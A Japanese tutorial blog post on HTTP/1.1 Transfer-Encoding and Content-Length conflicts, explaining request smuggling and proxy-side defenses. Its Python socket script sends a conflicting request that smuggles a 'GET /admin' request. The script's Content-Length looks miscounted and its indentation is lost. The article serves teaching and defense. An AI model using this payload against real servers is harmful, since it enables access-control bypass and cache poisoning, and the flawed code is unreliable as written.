【実務・中級編】HTTP/1.1のTransfer-Encodingヘッダーの優先順位とセキュリティ – HTTPプロトコル・通信規格実践ガイド

HTTP/1.1の「見えない境界線」を巡る攻防:Transfer-EncodingとContent-Lengthの深い闇

ネットワークエンジニアとして現場を渡り歩いていると、たまに「なぜかリクエストが混ざる」「特定の環境でだけレスポンスが壊れる」という、悪夢のようなトラブルに遭遇する。その震源地が、HTTP/1.1の古くて新しい難所、`Transfer-Encoding`と`Content-Length`の競合にあることは少なくない。

今日は、プロトコルの仕様書(RFC 7230)の行間を読み解きながら、なぜこのヘッダーの解釈がセキュリティ上の致命的な脆弱性――いわゆる「HTTPリクエストスマグリング」――に直結するのか、そのメカニズムを紐解いていこう。

1. なぜ「2つの境界線」が存在するのか?

HTTP/1.1において、パケットのペイロードがどこで終わるかをクライアントとサーバーが合意するために、主に2つのヘッダーが使われる。

  • Content-Length: 単純明快。バイト数でボディの長さを指定する。
  • Transfer-Encoding: chunked: データを分割(チャンク)して送信する方式。ストリーミングや、事前のサイズ計算が困難な動的生成コンテンツに必須だ。

問題は、この2つが同時に送られてきたとき、どちらを優先すべきかという点にある。RFC 7230では、`Transfer-Encoding`が優先されるべきだと明確に定義されている。しかし、中継するプロキシやロードバランサー、そして背後のバックエンドサーバーが、このルールを全く同じように解釈してくれるとは限らない。

2. 悪夢の始まり:HTTPリクエストスマグリング

もし、あなたの前の「フロントエンド・プロキシ」は`Content-Length`を信じ、後ろの「バックエンド・サーバー」は`Transfer-Encoding`を信じたとしたら?

これが、ハッカーが仕掛けるHTTPリクエストスマグリングの入り口だ。攻撃者は、ひとつのコネクションの中に「次のリクエスト」を隠し込んで送り込む。

攻撃のシーケンス例

1. 攻撃者が、両方のヘッダーを含む不正なリクエストを送信する。
2. フロント側は`Content-Length`を見てリクエストを正当と判断し、バックエンドへ転送。
3. バックエンド側は`Transfer-Encoding`を優先し、パケットの一部だけを読み取り、残りの部分を「次のリクエストの一部」としてバッファに保持する。
4. 次にやってくる正当なユーザーのリクエストが、バッファに残った攻撃者の残骸と結合され、意図しない挙動(キャッシュ汚染、認証バイパスなど)を引き起こす。

3. 実践:デバッグと検証のためのコード

理論だけでなく、実際に何が起きているかを確認する手立てが必要だ。以下のPythonコード(`requests`ではなく、あえて低レイヤーの`socket`を使用)で、意図的に「矛盾したリクエスト」を送信してみよう。

import socket

意図的に競合するヘッダーを送信するテストツール
def send_smuggling_request(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

# 意図的な矛盾:Content-LengthとTransfer-Encodingを併記
request = (
“POST / HTTP/1.1\r\n”
“Host: example.com\r\n”
“Content-Length: 44\r\n”
“Transfer-Encoding: chunked\r\n”
“\r\n”
“0\r\n\r\n” # チャンクの終わりを明示
“GET /admin HTTP/1.1\r\n” # ← ここにスマグリングしたい命令を隠す
“Host: example.com\r\n”
“\r\n”
)

s.sendall(request.encode())
response = s.recv(4096)
print(response.decode())
s.close()

注意: このコードは検証環境のみで使用してください。

4. 現場で守りを固めるための鉄則

この脆弱性を防ぐために、インフラエンジニアとして何をすべきか。答えはシンプルだが厳しいものだ。

1. プロキシとバックエンドの統一: フロントのロードバランサー(Nginx, F5など)とバックエンドのサーバー(Node.js, Go, Javaなど)で、リクエスト解析のロジックが一致しているかを確認する。
2. HTTP/2への完全移行: HTTP/2以降は、バイナリフレームによってメッセージ境界が明確に定義されている。HTTP/1.1のような「ヘッダーの解釈のズレ」による脆弱性は原理的に発生しにくい。可能な限りHTTP/2以降をエンドツーエンドで採用しよう。
3. WAFによる正規化: 境界が曖昧なリクエストをフロント側で徹底的に排除する。Nginxであれば、`proxy_request_buffering on;`を有効にし、リクエストボディを一度完全に読み込んでからバックエンドに投げる設定も有効な防御策だ。

最後に:プロトコルを疑うという姿勢

「仕様書に書いてあるから大丈夫だろう」というのは、運用現場では最も危険な思考だ。プロトコルは、設計者と実装者の間、そして複数のレイヤーの間に「解釈の余地」という名の隙間を生む。

Web APIの設計者であろうと、インフラを支えるSREであろうと、パケットがどう解釈され、どこで切り分けられるかを想像する力こそが、プロフェッショナルとしての武器になる。

今日の話をきっかけに、皆さんの環境のプロキシ設定を見直してみてほしい。その設定の「曖昧さ」こそが、数ヶ月後の障害の種になっているかもしれないのだから。

コメント

タイトルとURLをコピーしました